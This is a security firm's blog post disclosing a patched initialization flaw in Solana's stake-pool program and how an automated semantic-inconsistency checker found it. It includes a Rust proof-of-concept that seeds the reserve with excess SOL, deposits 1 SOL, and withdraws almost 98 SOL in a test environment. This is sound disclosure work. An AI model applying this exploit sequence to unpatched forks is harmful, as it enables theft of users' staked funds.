Solana Stake Pool: A Semantic Inconsistency Vulnerability Discovered by Soteria

December 17, 2021

Soteria team recently discovered a vulnerability in the official stake-pool program of solana-program-library. The vulnerability has been patched in this PR. Thanks @joncinque for the swiftest action confirming with us and fixing the issue.

This article describes our journey in discovering the vulnerability and constructing the PoC via penetration testing.

We note that the stake-pool code was audited before by multiple companies. This article motivates the need of a more comprehensive and systematic audit process (e.g., through automated analysis and verification tools as adopted by Soteria team).

What’s the vulnerability: inconsistent initialization

Solana’s stake-pool program is used to pool together SOL and redistribute the stakes across the network, to maximize censorship resistance and rewards.

The issue has been fixed (PR on GitHub)

The vulnerability lies in the stake-pool’s process_initialize instruction:

During initialization, it did not issue tokens for the lamports in the reserve stake account. As a result, if the reserve account has any excess funds on creation, the money will be delegated/represented by the tokens issued for the very first deposit. If this deposit is made by an attacker (for example via a front run), the money in the reserve will be stolen.

The issue is subtle because the pool creator may mistakenly put excess lamports into the reserve stake account, and this behavior is undefined. The vulnerability won’t surface if either the initial reserve account has no money or the first depositor is the pool creator.

Important Notice: Since the stake-pool program has been forked, reused, or modified by other Solana projects, the vulnerable code might have been widely deployed. Please be sure to apply the patch if you are using stake-pool.

How we discovered the vulnerability: semantic inconsistency

Soteria team was experimenting a new checker in our toolbox (an earlier prototype was released here). The new checker exhaustively looks at every path in the code and detects semantic inconsistency issues:

If two things often come together then likely there is a hidden invariant (at the logic or semantic level), and a violation of this invariant (say one of them is missing or in a different order) triggers a warning.

In stake-pool, there exists such an invariant: whenever the reserve_stake account is used (read or write) in an instruction, spl_token::instruction (mint_to, transfer or burn) will also be used in the same instruction.

However, in the process_initialize instruction before the patch, the reserve_stake_account is used (line 637), but there exists no use of spl_token::instruction. Therefore, our checker flags a semantic inconsistency.

The use of reserve_state account in process_initialize in stake-pool.

The PoC (proof of concept)

Based on the reported semantic inconsistency issue above, we proceeded to construct a PoC via penetration testing (more detail on penetration testing techniques can be found in our prior blog Part 3: penetration testing).

The first step is to initialize the stake pool:

let instruction = stake_pool::initialize(stake_pool_program,
     stake_pool.pubkey(), manager.pubkey(), 
     staker.pubkey(), validator_list.pubkey(), 
     reserve_stake.pubkey(), pool_mint.pubkey(), 
     manager_fee.pubkey(), spl_token::ID, 
     fee, withdrawal_fee, deposit_fee, 
     referral_fee, max_validators);
env.execute_as_transaction(&[instruction], &[&manager]);

In the above, the reserve_stake account is initialized with 100 Sol:

let reserve_stake_data = 
bincode::serialize::(
  &stake::state::StakeState::Initialized(
    stake::state::Meta {  
      rent_exempt_reserve: 2_282_880,
      authorized: stake::state::Authorized {
        staker: withdraw_authority_key,
        withdrawer: withdraw_authority_key, 
      },
      lockup: stake::state::Lockup::default(),
    }
  )
).unwrap();
let stake_account = Account::create(
  sol_to_lamports(100.0) + 2_282_880,
  reserve_stake_data,
  stake::program::id(),
  false,
  Epoch::default(),
);
env.add_account(reserve_stake.pubkey(), stake_account);

Next, the hacker deposits 1.0 Sol into the stake pool and claims 990000000 pool tokens (which is far more than the expected token amount):

let instruction = stake_pool::poc_deposit_sol(stake_pool_program, 
  stake_pool.pubkey(), withdraw_authority_key, 
  reserve_stake.pubkey(), hacker.pubkey(), 
  dest_user.pubkey(), manager_fee.pubkey(), 
  dest_user.pubkey(), pool_mint.pubkey(), 
  deposit_authority_key, sol_to_lamports(1.0)
);
env.execute_as_transaction(&[instruction], &[&hacker]);

Finally, the hacker burns all their pool tokens and withdraws all the money:


let instruction = stake_pool::poc_withdraw_sol(stake_pool_program, 
  stake_pool.pubkey(), withdraw_authority_key, 
  hacker.pubkey(), dest_user.pubkey(), 
  reserve_stake.pubkey(), hacker.pubkey(), 
  manager_fee.pubkey(), pool_mint.pubkey(), 990000000,
);
env.execute_as_transaction(&[instruction], &[&hacker]);
The hacker successfully exploited the vulnerability and stole (99090100000–1100000000) lamports = 97.9901 Sol (see above).

Soteria audit

Soteria is founded by leading minds in the fields of blockchain security and software verification.

We are pleased to provide audit services to high-impact Dapps on Solana. Please visit soteria.dev or email contact@soteria.dev

How to audit Solana smart contracts series?

For all blogs by Soteria, Please visit https://www.soteria.dev/blogs